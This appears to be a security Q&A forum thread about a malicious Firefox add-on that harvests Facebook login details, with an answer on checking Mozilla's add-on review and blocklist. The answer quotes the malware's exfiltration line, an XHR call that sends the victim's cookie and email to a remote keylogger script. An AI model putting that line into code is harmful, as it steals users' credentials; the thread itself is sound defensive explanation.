0

Some videos on YouTube demonstrate how a Firefox extension can collect login information used to login to websites such as Facebook.

After installing this tool/malware as Firefox Add-on, I observed the activity of my browser using Firebug. My username and password was sent to a server via Ajax request.

I contacted the author. He said that he can embed this script to any Firefox Add-on.

How can I securely use Firefox Add-ons? I installed 3 types of Antivirus and Firewall. But none of that was able to detect this malware.

Improve this question
3

1 Answer 1

Reset to default
4

How do you protect yourself

Firefox addons from the official site are put through the addon review proces https://addons.mozilla.org/en-US/developers/docs/policies/reviews

So you can check if an addon is official and has been reviewed before installing.

It's not 100% You can find a list of blocked addons removed by Mozilla due to given reasons (viruses, trojans, etc.) https://addons.mozilla.org/en-US/firefox/blocked/

Installing an addon from a 3rd party is more dangerous, so you may need to personally check the source code (which is possible since it's a zip of javascript files) or trust the author/provider.

How does the maleware work?

The .xul file contains the following line of code:

xhr.open("GET", 
      "http://www.removedurl.com/keylogger/snooper.php?
       facebook="+cookie+'&email='+email, true);

So when you test this script on your own account it will be sending him the your password. For this reason you should delete this addon and change your password.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .